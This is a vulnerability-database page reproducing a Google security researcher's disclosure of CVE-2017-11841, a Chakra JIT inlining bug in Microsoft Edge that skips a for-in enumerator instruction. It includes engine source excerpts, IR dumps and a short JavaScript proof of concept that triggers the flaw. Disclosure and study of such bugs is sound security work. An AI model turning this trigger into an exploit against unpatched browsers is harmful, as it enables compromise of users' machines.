Lucene search
K

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

🗓️ 25 Nov 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return CVE-2017-1184

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return Exploit
26 Nov 201700:00
zdt
ATTACKERKB
CVE-2017-11841
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11861
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11846
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11840
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11871
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11858
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11837
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11866
15 Nov 201703:29
attackerkb
ATTACKERKB
CVE-2017-11870
15 Nov 201703:29
attackerkb
Rows per page
`Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction   
  
CVE-2017-11841  
  
  
Here's a snippet of Inline::Optimize.  
FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)  
{  
switch (instr->m_opcode)  
{  
case Js::OpCode::Label:  
{  
...  
if (instr->AsLabelInstr()->m_isForInExit)  
{  
Assert(this->currentForInDepth != 0); // The PoC hits this  
this->currentForInDepth--;  
}  
}  
break;  
case Js::OpCode::InitForInEnumerator:  
if (!func->IsLoopBody())  
{  
this->currentForInDepth++;  
}  
break;  
case Js::OpCode::CallI:  
...  
instrNext = builtInInlineCandidateOpCode != 0 ?  
this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :  
this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);  
...  
}  
}  
  
  
"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.  
  
Before:  
s6.var = StartCall 1 (0x1).i32 #0000   
arg1(s7)<0>.var = ArgOut_A s2.var, s6.var #0003   
CallI s3.var, arg1(s7)<0>.var #0006   
  
s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<--- NEXT INSTRUCTION  
  
After:  
s6.var = StartCall 1 (0x1).i32 #0000   
...  
s12.var = InlineeStart s3.var, iarg1(s7)<24>.var #0006 Func # (#1.3), #4 obj.inlinee  
s9[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # Func # (#1.3), #4  
s8.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #0000 Func # (#1.3), #4  
StatementBoundary #0 #0002 Func # (#1.3), #4  
StatementBoundary #-1 #0002 Func # (#1.3), #4  
InlineeEnd 4 (0x4).i32, s12.var #0000 Func # (#1.3), #4  
  
StatementBoundary #0 #000c   
s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<---- NEXT INSTRUCTION  
  
As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.  
  
Here's the call flow.  
Inline::InlineBuiltInFunction(...) {  
...  
if (inlineCallOpCode == Js::OpCode::InlineFunctionCall)  
{  
inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);  
return inlineBuiltInEndInstr->m_next;  
}  
...  
}  
  
-> InlineCall -> InlineCallTarget ->   
  
Inline::InlineCallApplyTarget_Shared(...) {  
IR::Instr* instrNext = callInstr->m_next;  
return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);  
}  
  
Inline::InlineFunctionCommon(...)  
{  
...  
return instrNext;  
}  
  
The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.  
  
In the PoC, "InitForInEnumerator" will be skipped.  
  
s16[LikelyUndefined_CanBeTaggedValue].var = CallI s6.var, arg2(s15)<8>.var #0015 << will be inlined  
InitForInEnumerator s16.var, s17.u64 #001f << Skipped  
  
  
PoC:  
function opt(obj) {  
for (let i in obj.inlinee.call({})) {  
}  
  
for (let i in obj.inlinee.call({})) {  
}  
}  
  
function main() {  
let obj = {  
inlinee: function () {  
}  
};  
  
for (let i = 0; i < 10000; i++)  
opt(obj);  
}  
  
main();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation